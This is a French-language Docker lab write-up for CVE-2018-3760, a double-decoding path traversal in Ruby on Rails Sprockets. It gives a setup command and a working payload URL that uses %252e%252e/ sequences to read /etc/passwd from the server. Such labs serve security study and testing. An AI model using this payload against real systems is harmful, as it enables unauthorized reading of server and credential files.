
Lab basé sur Docker démontrant le path traversal CVE-2018-3760 dans Ruby on Rails Sprockets, avec POC et configuration d'environnement pour les tests de sécurité et l'éducation.
Ruby On Rails est un framework de développement Web Ruby bien connu, qui utilise Sprockets comme serveur de fichiers statiques dans l'environnement de développement. Sprockets est une bibliothèque Ruby qui compile et distribue les fichiers de ressources statiques.
Il existe une vulnérabilité de traversée de chemin causée par un double décodage dans Sprockets 3.7.1 et versions antérieures. Un attaquant peut utiliser %252e%252e/ pour accéder au répertoire racine et lire ou exécuter n'importe quel fichier sur le serveur cible.
Liens de référence :
Exécutez la commande suivante :
docker-compose up -d
Accédez à et vous verrez la page d'accueil.
http://your-ip:3000Une erreur sera générée en accédant directement à http://your-ip:3000/assets/file:%2f%2f/etc/passwd, car le fichier /etc/passwd ne se trouve pas dans le répertoire autorisé.

Nous pouvons obtenir une liste des répertoires autorisés depuis la page d'erreur. Il suffit d'en sélectionner un, par exemple /usr/src/blog/app/assets/images, puis d'utiliser %252e%252e/ pour remonter au répertoire parent, et enfin lire le fichier /etc/passwd :
http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
